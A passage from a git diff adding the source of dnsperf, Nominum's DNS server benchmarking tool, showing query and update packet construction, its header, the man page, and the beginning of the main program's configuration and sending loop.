+ perf_log_warning("out of space in message buffer"); + result = ISC_R_NOSPACE; + goto done; + } + + isc_buffer_putuint16(msg, rdtype); + isc_buffer_putuint16(msg, rdclass); + isc_buffer_putuint32(msg, ttl); + rdlenbuf = *msg; + isc_buffer_putuint16(msg, 0); /* rdlen */ + rdlen = isc_buffer_usedlength(&rdatabuf); + if (rdlen > 0) { + result = dns_rdata_towire(&rdata, &ctx->compress, msg); + if (result != ISC_R_SUCCESS) { + perf_log_warning("rendering rdata: %s", + isc_result_totext(result)); + goto done; + } + rdlen = msg->used - rdlenbuf.used - 2; + isc_buffer_putuint16(&rdlenbuf, rdlen); + } + if (is_update) + updates++; + else + prereqs++; + } + + msgbase[7] = prereqs; /* ANCOUNT = number of prereqs */ + msgbase[9] = updates; /* AUCOUNT = number of updates */ + + result = ISC_R_SUCCESS; + + done: + return result; +} + +isc_result_t +perf_dns_buildrequest(perf_dnsctx_t *ctx, const isc_textregion_t *record, + isc_uint16_t qid, + isc_boolean_t edns, isc_boolean_t dnssec, + perf_dnstsigkey_t *tsigkey, isc_buffer_t *msg) +{ + unsigned int flags; + isc_result_t result; + + if (ctx != NULL) + flags = dns_opcode_update << 11; + else + flags = DNS_MESSAGEFLAG_RD; + + /* Create the DNS packet header */ + isc_buffer_putuint16(msg, qid); + isc_buffer_putuint16(msg, flags); /* flags */ + isc_buffer_putuint16(msg, 1); /* qdcount */ + isc_buffer_putuint16(msg, 0); /* ancount */ + isc_buffer_putuint16(msg, 0); /* aucount */ + isc_buffer_putuint16(msg, 0); /* arcount */ + + if (ctx != NULL) { + result = build_update(ctx, record, msg); + } else { + result = build_query(record, msg); + } + if (result != ISC_R_SUCCESS) + return (result); + + if (edns) { + result = add_edns(msg, dnssec); + if (result != ISC_R_SUCCESS) + return (result); + } + + if (tsigkey != NULL) { + result = add_tsig(msg, tsigkey); + if (result != ISC_R_SUCCESS) + return (result); + } + + return (ISC_R_SUCCESS); +} diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/dns.h b/dns-projects/dnsperf-src-2.0.0.0-1/dns.h new file mode 100644 index 0000000..ea558c3 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/dns.h @@ -0,0 +1,66 @@ +/* + * Copyright (C) 2000, 2001 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM + * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL + * INTERNET SOFTWARE CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, + * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING + * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, + * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION + * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * Copyright (C) 2004 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#include + +#ifndef PERF_DNS_H +#define PERF_DNS_H 1 + +#define MAX_UDP_PACKET 512 +#define MAX_EDNS_PACKET 4096 + +typedef struct perf_dnstsigkey perf_dnstsigkey_t; +typedef struct perf_dnsctx perf_dnsctx_t; + +extern const char *perf_dns_rcode_strings[]; + +perf_dnstsigkey_t * +perf_dns_parsetsigkey(const char *arg, isc_mem_t *mctx); + +void +perf_dns_destroytsigkey(perf_dnstsigkey_t **tsigkeyp); + +perf_dnsctx_t * +perf_dns_createctx(isc_boolean_t updates); + +void +perf_dns_destroyctx(perf_dnsctx_t **ctxp); + +isc_result_t +perf_dns_buildrequest(perf_dnsctx_t *ctx, const isc_textregion_t *record, + isc_uint16_t qid, + isc_boolean_t edns, isc_boolean_t dnssec, + perf_dnstsigkey_t *tsigkey, isc_buffer_t *msg); + +#endif diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/dnsperf.1 b/dns-projects/dnsperf-src-2.0.0.0-1/dnsperf.1 new file mode 100644 index 0000000..29a1fbd --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/dnsperf.1 @@ -0,0 +1,304 @@ +.\" Copyright (C) Nominum, Inc. +.\" +.\" All rights reserved. +.TH DNSPERF 1 "Jan 10, 2012" Nominum Nominum +.SH NAME +\%dnsperf - test the performance of a DNS server +.SH SYNOPSIS +.hy 0 +.ad l +\fBdnsperf\fR\ [\fB\-a\ \fIlocal_addr\fR\fR] +[\fB\-b\ \fIbufsize\fR\fR] +[\fB\-c\ \fIclients\fR\fR] +[\fB\-d\ \fIdatafile\fR\fR] +[\fB\-D\fR] +[\fB\-e\fR] +[\fB\-f\ \fIfamily\fR\fR] +[\fB\-h\fR] +[\fB\-l\ \fIlimit\fR\fR] +[\fB\-n\ \fIruns_through_file\fR\fR] +[\fB\-p\ \fIport\fR\fR] +[\fB\-q\ \fInum_queries\fR\fR] +[\fB\-Q\ \fImax_qps\fR\fR] +[\fB\-s\ \fIserver_addr\fR\fR] +[\fB\-S\ \fIstats_interval\fR\fR] +[\fB\-t\ \fItimeout\fR\fR] +[\fB\-u\fR] +[\fB\-v\fR] +[\fB\-x\ \fIlocal_port\fR\fR] +[\fB\-y\ \fI[alg:]name:secret\fR\fR] +.ad +.hy +.SH DESCRIPTION +\fBdnsperf\fR is a DNS server performance testing tool. It is primarily +intended for measuring the performance of authoritative DNS servers, but it +can also be used for measuring caching server performance in a closed +laboratory environment. For testing caching servers resolving against the +live Internet, the \fBresperf\fR program is preferred. + +It is recommended that \fBdnsperf\fR and the name server under test be run +on separate machines, so that the CPU usage of \fBdnsperf\fR itself does not +slow down the name server. The two machines should be connected with a fast +network, preferably a dedicated Gigabit Ethernet segment. Testing through a +router or firewall is not advisable. +.SS "Configuring the name server" +If using \fBdnsperf\fR to test an authoritative server, the name server +under test should be set up to serve one or more zones similar in size and +number to what the server is expected to serve in production. + +Also, be sure to turn off recursion in the server's configuration (in BIND +8/9, specify "recursion no;" in the options block). In BIND 8, you should +also specify "fetch-glue no;"; otherwise the server may attempt to retrieve +glue information from the Internet during the test, slowing it down by an +unpredictable factor. +.SS "Constructing a query input file" +A \fBdnsperf\fR input file should contain a large and realistic set of +queries, on the order of ten thousand to a million. The input file contains +one line per query, consisting of a domain name and an RR type name +separated by a space. The class of the query is implicitly IN. + +When measuring the performance serving non-terminal zones such as the root +zone or TLDs, note that such servers spend most of their time providing +referral responses, not authoritative answers. Therefore, a realistic input +file might consist mostly of queries for type A for names *below*, not at, +the delegations present in the zone. For example, when testing the +performance of a server configured to be authoritative for the top-level +domain "fi.", which contains delegations for domains like "helsinki.fi" and +"turku.fi", the input file could contain lines like +.RS +.hy 0 + +.nf +www.turku.fi A +www.helsinki.fi A +.fi +.hy +.RE + +where the "www" prefix ensures that the server will respond with a referral. +Ideally, a realistic proportion of queries for nonexistent domains should be +mixed in with those for existing ones, and the lines of the input file +should be in a random order. +.SS "Constructing a dynamic update input file" +To test dynamic update performance, \fBdnsperf\fR is run with the \fB\-u\fR +option, and the input file is constructed of blocks of lines describing +dynamic update messages. The first line in a block contains the zone name: +.RS +.hy 0 + +.nf +example.com +.fi +.hy +.RE + +Subsequent lines contain prerequisites, if there are any. Prerequisites can +specify that a name may or may not exist, an rrset may or may not exist, or +an rrset exists and its rdata matches all specified rdata for that name and +type. The keywords "require" and "prohibit" are followed by the appropriate +information. All relative names are considered to be relative to the zone +name. The following lines show the 5 types of prerequisites. +.RS +.hy 0 + +.nf +require a +require a A +require a A 1.2.3.4 +prohibit x +prohibit x A +.fi +.hy +.RE + +Subsequent lines contain records to be added, records to be deleted, rrsets +to be deleted, or names to be deleted. The keywords "add" or "delete" are +followed by the appropriate information. All relative names are considered +to be relative to the zone name. The following lines show the 4 types of +updates. +.RS +.hy 0 + +.nf +add x 3600 A 10.1.2.3 +delete y A 10.1.2.3 +delete z A +delete w +.fi +.hy +.RE + +Each update message is terminated by a line containing the command: +.RS +.hy 0 + +.nf +send +.fi +.hy +.RE +.SS "Running the tests" +When running \fBdnsperf\fR, a data file (the \fB\-d\fR option) and server +(the \fB\-s\fR option) will normally be specified. The output of dnsperf is +mostly self-explanatory. Pay attention to the number of dropped packets +reported - when running the test over a local Ethernet connection, it should +be zero. If one or more packets has been dropped, there may be a problem +with the network connection. In that case, the results should be considered +suspect and the test repeated. +.SH OPTIONS + +\fB-a \fIlocal_addr\fR\fR +.br +.RS +Specifies the local address from which to send requests. The default is the +wildcard address. +.RE + +\fB-b \fIbufsize\fR\fR +.br +.RS +Sets the size of the socket's send and receive buffers, in kilobytes. If not +specified, the operating system's default is used. +.RE + +\fB-c \fIclients\fR\fR +.br +.RS +Act as multiple clients. Requests are sent from multiple sockets. The +default is to act as 1 client. +.RE + +\fB-d \fIdatafile\fR\fR +.br +.RS +Specifies the input data file. If not specified, \fBdnsperf\fR will read +from standard input. +.RE + +\fB-D\fR +.br +.RS +Sets the DO (DNSSEC OK) bit [RFC3225] in all packets sent. This also enables +EDNS0, which is required for DNSSEC. +.RE + +\fB-e\fR +.br +.RS +Enables EDNS0 [RFC2671], by adding an OPT record to all packets sent. +.RE + +\fB-f \fIfamily\fR\fR +.br +.RS +Specifies the address family used for sending DNS packets. The possible +values are "inet", "inet6", or "any". If "any" (the default value) is +specified, \fBdnsperf\fR will use whichever address family is appropriate +for the server it is sending packets to. +.RE + +\fB-h\fR +.br +.RS +Print a usage statement and exit. +.RE + +\fB-l \fIlimit\fR\fR +.br +.RS +Specifies a time limit for the run, in seconds. This may cause the input to +be read multiple times, or only some of the input to be read. The default +behavior is to read the input once, and have no specific time limit. +.RE + +\fB-n \fIruns_through_file\fR\fR +.br +.RS +Run through the input file at most this many times. If no time limit is set, +the file will be read exactly this number of times; if a time limit is set, +the file may be read fewer times. +.RE + +\fB-p \fIport\fR\fR +.br +.RS +Sets the port on which the DNS packets are sent. If not specified, the +standard DNS port (53) is used. +.RE + +\fB-q \fInum_queries\fR\fR +.br +.RS +Sets the maximum number of outstanding requests. When this value is reached, +\fBdnsperf\fR will not send any more requests until either responses are +received or requests time out. The default value is 100. +.RE + +\fB-Q \fImax_qps\fR\fR +.br +.RS +Limits the number of requests per second. There is no default limit. +.RE + +\fB-s \fIserver_addr\fR\fR +.br +.RS +Specifies the name or address of the server to which requests will be sent. +The default is the loopback address, 127.0.0.1. +.RE + +\fB-S \fIstats_interval\fR\fR +.br +.RS +If this parameter is specified, a count of the number of queries per second +during the interval will be printed out every stats_interval seconds. +.RE + +\fB-t \fItimeout\fR\fR +.br +.RS +Specifies the request timeout value, in seconds. \fBdnsperf\fR will no +longer wait for a response to a particular request after this many seconds +have elapsed. The default is 5 seconds. +.RE + +\fB-u\fR +.br +.RS +Instructs \fBdnsperf\fR to send DNS dynamic update messages, rather than +queries. The format of the input file is different in this case; see the +"Constructing a dynamic update input file" section for more details. +.RE + +\fB-v\fR +.br +.RS +Enables verbose mode. The DNS RCODE of each response will be reported to +standard output when the response is received, as will the latency. If a +query times out, it will be reported with the special string "T" instead of +a normal DNS RCODE. If a query is interrupted, it will be reported with the +special string "I". +.RE + +\fB-x \fIlocal_port\fR\fR +.br +.RS +Specifies the local port from which to send requests. The default is the +wildcard port (0). + +If acting as multiple clients and the wildcard port is used, each client +will use a different random port. If a port is specified, the clients will +use a range of ports starting with the specified one. +.RE + +\fB-y \fI[alg:]name:secret\fR\fR +.br +.RS +Add a TSIG record [RFC2845] to all packets sent, using the specified TSIG +key algorithm, name and secret, where the algorithm defaults to hmac-md5 and +the secret is expressed as a base-64 encoded string. +.RE +.SH AUTHOR +Nominum, Inc. +.SH "SEE ALSO" +\fBresperf\fR(1) diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/dnsperf.c b/dns-projects/dnsperf-src-2.0.0.0-1/dnsperf.c new file mode 100644 index 0000000..c68db60 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/dnsperf.c @@ -0,0 +1,1059 @@ +/* + * Copyright (C) 2000, 2001 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM + * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL + * INTERNET SOFTWARE CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, + * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING + * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, + * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION + * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * Copyright (C) 2004 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/*** + *** DNS Performance Testing Tool + *** + *** Version $Id: dnsperf.c 213877 2012-02-17 02:40:32Z bwelling $ + ***/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#define ISC_BUFFER_USEINLINE + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "net.h" +#include "datafile.h" +#include "dns.h" +#include "log.h" +#include "opt.h" +#include "os.h" +#include "util.h" +#include "version.h" + +#define DEFAULT_SERVER_NAME "127.0.0.1" +#define DEFAULT_SERVER_PORT 53 +#define DEFAULT_LOCAL_PORT 0 +#define DEFAULT_MAX_OUTSTANDING 100 +#define DEFAULT_TIMEOUT 5 + +#define TIMEOUT_CHECK_TIME 100000 + +#define MAX_INPUT_DATA (64 * 1024) + +#define RECV_BATCH_SIZE 16 + +typedef struct { + int argc; + char **argv; + int family; + isc_uint32_t clients; + isc_uint32_t maxruns; + isc_uint64_t timelimit; + isc_sockaddr_t server_addr; + isc_sockaddr_t local_addr; + isc_uint64_t timeout; + isc_uint32_t bufsize; + isc_boolean_t edns; + isc_boolean_t dnssec; + perf_dnstsigkey_t *tsigkey; + isc_uint32_t max_outstanding; + isc_uint32_t max_qps; + isc_uint64_t stats_interval; + isc_boolean_t updates; + isc_boolean_t verbose; +} config_t; + +typedef struct { + isc_uint64_t start_time; + isc_uint64_t end_time; + isc_uint64_t stop_time; + struct timespec stop_time_ns; +} times_t; + +typedef struct { + isc_uint32_t rcodecounts[16]; + + unsigned int num_sent; + unsigned int num_interrupted; + unsigned int num_timedout; + unsigned int num_completed; + + isc_uint64_t total_request_size; + isc_uint64_t total_response_size; + + isc_uint64_t latency_sum; + isc_uint64_t latency_sum_squares; + isc_uint64_t latency_min; + isc_uint64_t latency_max; +} stats_t; + +typedef ISC_LIST(struct query_info) query_list; + +typedef struct query_info { + isc_uint64_t timestamp; + query_list *list; + char *desc; + /* + * This link links the query into the list of outstanding + * queries or the list of available query IDs. + */ + ISC_LINK(struct query_info) link; +} query_info; + +#define NQIDS 65536 + +typedef struct { + query_info queries[NQIDS]; + query_list outstanding_queries; + query_list unused_queries; + + pthread_t sender; + pthread_t receiver; + + pthread_mutex_t lock; + pthread_cond_t cond; + + int sock; + + perf_dnsctx_t *dnsctx; + + isc_boolean_t done_sending; + isc_uint64_t done_send_time; + + const config_t *config; + const times_t *times; + stats_t stats; + + isc_uint32_t max_outstanding; + isc_uint32_t max_qps; + + isc_uint64_t last_recv; +} threadinfo_t; + +static threadinfo_t *threads; + +static pthread_mutex_t start_lock = PTHREAD_MUTEX_INITIALIZER; +static pthread_cond_t start_cond = PTHREAD_COND_INITIALIZER; +static isc_boolean_t started; + +static isc_boolean_t interrupted = ISC_FALSE; + +static int threadpipe[2]; +static int mainpipe[2]; +static int intrpipe[2]; + +static isc_mem_t *mctx; + +static perf_datafile_t *input; + +static void +handle_sigint(int sig) +{ + (void)sig; + write(intrpipe[1], "", 1); +} + +static void +print_initial_status(const config_t *config) +{ + time_t now; + isc_netaddr_t addr; + char buf[ISC_NETADDR_FORMATSIZE]; + int i; + + printf("[Status] Command line: %s", + isc_file_basename(config->argv[0])); + for (i = 1; i < config->argc; i++) + printf(" %s", config->argv[i]); + printf("\n"); + + isc_netaddr_fromsockaddr(&addr, &config->server_addr); + isc_netaddr_format(&addr, buf, sizeof(buf)); + printf("[Status] Sending %s (to %s)\n", + config->updates ? "updates" : "queries", buf); + + now = time(NULL); + printf("[Status] Started at: %s", ctime(&now)); + + printf("[Status] Stopping after "); + if (config->timelimit) + printf("%u.%06u seconds", + (unsigned int)(config->timelimit / MILLION), + (unsigned int)(config->timelimit % MILLION)); + if (config->timelimit && config->maxruns) + printf(" or "); + if (config->maxruns) + printf("%u run%s through file", config->maxruns, + config->maxruns == 1 ? "" : "s"); + printf("\n"); +} + +static void +print_final_status(const config_t *config) +{ + const char *reason; + + if (interrupted) + reason = "interruption"; + else if (config->maxruns > 0 && + perf_datafile_nruns(input) == config->maxruns) + reason = "end of file"; + else + reason = "time limit"; + + printf("[Status] Testing complete (%s)\n", reason); + printf("\n"); +} + +static double +stddev(isc_uint64_t sum_of_squares, isc_uint64_t sum, isc_uint64_t total) +{ + double squared; + + squared = (double)sum * (double)sum; + return sqrt((sum_of_squares - (squared / total)) / (total - 1)); +} + +static void +print_statistics(const config_t *config, const times_t *times, stats_t *stats) +{ + const char *units; + isc_uint64_t run_time; + isc_boolean_t first_rcode; + isc_uint64_t latency_avg; + unsigned int i; + + units = config->updates ? "Updates" : "Queries"; + + run_time = times->end_time - times->start_time; + + printf("Statistics:\n\n"); + + printf(" %s sent: %u\n", units, stats->num_sent); + printf(" %s completed: %u (%.2lf%%)\n", + units, stats->num_completed, + SAFE_DIV(100.0 * stats->num_completed, stats->num_sent)); + printf(" %s lost: %u (%.2lf%%)\n", + units, stats->num_timedout, + SAFE_DIV(100.0 * stats->num_timedout, stats->num_sent)); + if (stats->num_interrupted > 0) + printf(" %s interrupted: %u (%.2lf%%)\n", + units, stats->num_interrupted, + SAFE_DIV(100.0 * stats->num_interrupted, + stats->num_sent)); + printf("\n"); + + printf(" Response codes: "); + first_rcode = ISC_TRUE; + for (i = 0; i < 16; i++) { + if (stats->rcodecounts[i] == 0) + continue; + if (first_rcode) + first_rcode = ISC_FALSE; + else + printf(", "); + printf("%s %u (%.2lf%%)", + perf_dns_rcode_strings[i], stats->rcodecounts[i], + (stats->rcodecounts[i] * 100.0) / stats->num_completed); + } + printf("\n"); + + printf(" Average packet size: request %u, response %u\n", + (unsigned int)SAFE_DIV(stats->total_request_size, + stats->num_sent), + (unsigned int)SAFE_DIV(stats->total_response_size, + stats->num_completed)); + printf(" Run time (s): %u.%06u\n", + (unsigned int)(run_time / MILLION), + (unsigned int)(run_time % MILLION)); + printf(" %s per second: %.6lf\n", units, + SAFE_DIV(stats->num_completed, (((double)run_time) / MILLION))); + + printf("\n"); + + latency_avg = SAFE_DIV(stats->latency_sum, stats->num_completed); + printf(" Average Latency (s): %u.%06u (min %u.%06u, max %u.%06u)\n", + (unsigned int)(latency_avg / MILLION), + (unsigned int)(latency_avg % MILLION), + (unsigned int)(stats->latency_min / MILLION), + (unsigned int)(stats->latency_min % MILLION), + (unsigned int)(stats->latency_max / MILLION), + (unsigned int)(stats->latency_max % MILLION)); + if (stats->num_completed > 1) { + printf(" Latency StdDev (s): %f\n", + stddev(stats->latency_sum_squares, stats->latency_sum, + stats->num_completed) / MILLION); + } + + printf("\n"); +} + +static void +sum_stats(const config_t *config, stats_t *total) +{ + unsigned int i, j; + + memset(total, 0, sizeof(*total)); + + for (i = 0; i < config->clients; i++) { + stats_t *stats = &threads[i].stats; + + for (j = 0; j < 16; j++) + total->rcodecounts[j] += stats->rcodecounts[j]; + + total->num_sent += stats->num_sent; + total->num_interrupted += stats->num_interrupted; + total->num_timedout += stats->num_timedout; + total->num_completed += stats->num_completed; + + total->total_request_size += stats->total_request_size; + total->total_response_size += stats->total_response_size; + + total->latency_sum += stats->latency_sum; + total->latency_sum_squares += stats->latency_sum_squares; + total->latency_min += stats->latency_min; + total->latency_max += stats->latency_max; + } +} + +static char * +stringify(unsigned int value) +{ + static char buf[20]; + + snprintf(buf, sizeof(buf), "%u", value); + return buf; +} + +static void +setup(int argc, char **argv, config_t *config) +{ + const char *family = NULL; + const char *server_name = DEFAULT_SERVER_NAME; + in_port_t server_port = DEFAULT_SERVER_PORT; + const char *local_name = NULL; + in_port_t local_port = DEFAULT_LOCAL_PORT; + const char *filename = NULL; + const char *tsigkey = NULL; + isc_result_t result; + + result = isc_mem_create(0, 0, &mctx); + if (result != ISC_R_SUCCESS) + perf_log_fatal("creating memory context: %s", + isc_result_totext(result)); + + dns_result_register(); + + memset(config, 0, sizeof(*config)); + config->argc = argc; + config->argv = argv; + + config->family = AF_UNSPEC; + config->clients = 1; + config->timeout = DEFAULT_TIMEOUT * MILLION; + config->max_outstanding = DEFAULT_MAX_OUTSTANDING; + + perf_opt_add('f', perf_opt_string, "family", + "address family of DNS transport, inet or inet6", "any", + &family); + perf_opt_add('s', perf_opt_string, "server_addr", + "the server to query", DEFAULT_SERVER_NAME, &server_name); + perf_opt_add('p', perf_opt_port, "port", + "the port on which to query the server", + stringify(DEFAULT_SERVER_PORT), &server_port); + perf_opt_add('a', perf_opt_string, "local_addr", + "the local address from which to send queries", NULL, + &local_name); + perf_opt_add('x', perf_opt_port, "local_port", + "the local port from which to send queries", + stringify(DEFAULT_LOCAL_PORT), &local_port); + perf_opt_add('d', perf_opt_string, "datafile", + "the input data file", "stdin", &filename); + perf_opt_add('c', perf_opt_uint, "clients", + "the number of clients to act as", NULL, + &config->clients); + perf_opt_add('n', perf_opt_uint, "maxruns", + "run through input at most N times", NULL, + &config->maxruns); + perf_opt_add('l', perf_opt_timeval, "timelimit", + "run for at most this many seconds", NULL, + &config->timelimit); + perf_opt_add('b', perf_opt_uint, "buffer_size", + "socket send/receive buffer size in kilobytes", NULL, + &config->bufsize); + perf_opt_add('t', perf_opt_timeval, "timeout", + "the timeout for query completion in seconds", + stringify(DEFAULT_TIMEOUT), &config->timeout); + perf_opt_add('e', perf_opt_boolean, NULL, + "enable EDNS 0", NULL, &config->edns); + perf_opt_add('D', perf_opt_boolean, NULL, + "set the DNSSEC OK bit (implies EDNS)", NULL, + &config->dnssec); + perf_opt_add('y', perf_opt_string, "[alg:]name:secret", + "the TSIG algorithm, name and secret", NULL, + &tsigkey); + perf_opt_add('q', perf_opt_uint, "num_queries", + "the maximum number of queries outstanding", + stringify(DEFAULT_MAX_OUTSTANDING), + &config->max_outstanding); + perf_opt_add('Q', perf_opt_uint, "max_qps", + "limit the number of queries per second", NULL, + &config->max_qps); + perf_opt_add('S', perf_opt_timeval, "stats_interval", + "print qps statistics every N seconds", + NULL, &config->stats_interval); + perf_opt_add('u', perf_opt_boolean, NULL, + "send dynamic updates instead of queries", + NULL, &config->updates); + perf_opt_add('v', perf_opt_boolean, NULL, + "verbose: report each query to stdout", + NULL, &config->verbose); + + perf_opt_parse(argc, argv); + + if (family != NULL) + config->family = perf_net_parsefamily(family); + perf_net_parseserver(config->family, server_name, server_port, + &config->server_addr); + perf_net_parselocal(isc_sockaddr_pf(&config->server_addr), + local_name, local_port, &config->local_addr); + + input = perf_datafile_open(mctx, filename); + + if (config->maxruns == 0 && config->timelimit == 0) + config->maxruns = 1; + perf_datafile_setmaxruns(input, config->maxruns); + + if (config->dnssec) + config->edns = ISC_TRUE; + + if (tsigkey != NULL) + config->tsigkey = perf_dns_parsetsigkey(tsigkey, mctx); + + /* + * If we run more clients than max-qps, some clients will have + * ->max_qps set to 0, and be unlimited. + */ + if (config->max_qps > 0 && config->clients > config->max_qps) + config->clients = config->max_qps; +} + +static void +cleanup(config_t *config) +{ + unsigned int i; + + perf_datafile_close(&input); + for (i = 0; i < 2; i++) { + close(threadpipe[i]); + close(mainpipe[i]); + close(intrpipe[i]); + } + if (config->tsigkey != NULL) + perf_dns_destroytsigkey(&config->tsigkey); + isc_mem_destroy(&mctx); +} + +typedef enum { + prepend_unused, + append_unused, + prepend_outstanding, +} query_move_op; + +static inline void +query_move(threadinfo_t *tinfo, query_info *q, query_move_op op) +{ + ISC_LIST_UNLINK(*q->list, q, link); + switch (op) { + case prepend_unused: + q->list = &tinfo->unused_queries; + ISC_LIST_PREPEND(tinfo->unused_queries, q, link); + break; + case append_unused: + q->list = &tinfo->unused_queries; + ISC_LIST_APPEND(tinfo->unused_queries, q, link); + break; + case prepend_outstanding: + q->list = &tinfo->outstanding_queries; + ISC_LIST_PREPEND(tinfo->outstanding_queries, q, link); + break; + } +} + +static inline isc_uint32_t +num_outstanding(const stats_t *stats) +{ + return stats->num_sent - stats->num_completed - stats->num_timedout; +} + +static void +wait_for_start(void) +{ + LOCK(&start_lock); + while (!started) + WAIT(&start_cond, &start_lock); + UNLOCK(&start_lock); +} + +static void * +do_send(void *arg) +{ + threadinfo_t *tinfo; + const config_t *config; + const times_t *times; + stats_t *stats; + unsigned int max_packet_size; + isc_buffer_t msg; + isc_uint64_t now, run_time, req_time; + char input_data[MAX_INPUT_DATA]; + isc_buffer_t lines; + isc_region_t used; + query_info *q; + int qid; + unsigned char packet_buffer[MAX_EDNS_PACKET]; + unsigned char *base; + unsigned int length; + int n; + isc_result_t result; + + tinfo = (threadinfo_t *) arg; + config = tinfo->config; + times = tinfo->times; + stats = &tinfo->stats; + max_packet_size = config->edns ? MAX_EDNS_PACKET : MAX_UDP_PACKET; + isc_buffer_init(&msg, packet_buffer, max_packet_size); + isc_buffer_init(&lines, input_data, sizeof(input_data)); + + wait_for_start(); + now = get_time(); + while (!interrupted && now < times->stop_time) { + /* Avoid flooding the network too quickly. */ + if (stats->num_sent < tinfo->max_outstanding && + stats->num_sent % 2 == 1) + { + if (stats->num_completed == 0) + usleep(1000); + else + sleep(0); + now = get_time(); + } + + /* Rate limiting */ + if (tinfo->max_qps > 0) { + run_time = now - times->start_time; + req_time = (MILLION * stats->num_sent) / + tinfo->max_qps; + if (req_time > run_time) { + usleep(req_time - run_time); + now = get_time(); + continue; + } + } + + LOCK(&tinfo->lock); + + /* Limit in-flight queries */ + if (num_outstanding(stats) >= tinfo->max_outstanding) { + TIMEDWAIT(&tinfo->cond, &tinfo->lock, + ×->stop_time_ns, NULL); + UNLOCK(&tinfo->lock); + now = get_time(); + continue; + } + + q = ISC_LIST_HEAD(tinfo->unused_queries); + query_move(tinfo, q, prepend_outstanding); + q->timestamp = ISC_UINT64_MAX; + + UNLOCK(&tinfo->lock); + + isc_buffer_clear(&lines); + result = perf_datafile_next(input, &lines, config->updates); + if (result != ISC_R_SUCCESS) { + if (result == ISC_R_INVALIDFILE) + perf_log_fatal("input file contains no data"); + break; + } + + qid = q - tinfo->queries; + isc_buffer_usedregion(&lines, &used); + isc_buffer_clear(&msg); + result = perf_dns_buildrequest(tinfo->dnsctx, + (isc_textregion_t *) &used, + qid, config->edns, + config->dnssec, config->tsigkey, + &msg); + if (result != ISC_R_SUCCESS) { + LOCK(&tinfo->lock); + query_move(tinfo, q, prepend_unused); + UNLOCK(&tinfo->lock); + now = get_time(); + continue; + } + + base = isc_buffer_base(&msg); + length = isc_buffer_usedlength(&msg); + + now = get_time(); + if (config->verbose) { + q->desc = strdup(lines.base); + if (q->desc == NULL) + perf_log_fatal("out of memory"); + } + q->timestamp = now; + + stats->num_sent++; + + n = sendto(tinfo->sock, base, length, 0, + &config->server_addr.type.sa, + config->server_addr.length); + if (n < 0 || (unsigned int) n != length) { + perf_log_warning("failed to send packet: %s", + strerror(errno)); + LOCK(&tinfo->lock); + query_move(tinfo, q, prepend_unused); + UNLOCK(&tinfo->lock); + stats->num_sent--; + continue; + } + + stats->total_request_size += length; + } + tinfo->done_send_time = get_time(); + tinfo->done_sending = ISC_TRUE; + write(mainpipe[1], "", 1); + return NULL; +} + +static void +process_timeouts(threadinfo_t *tinfo, 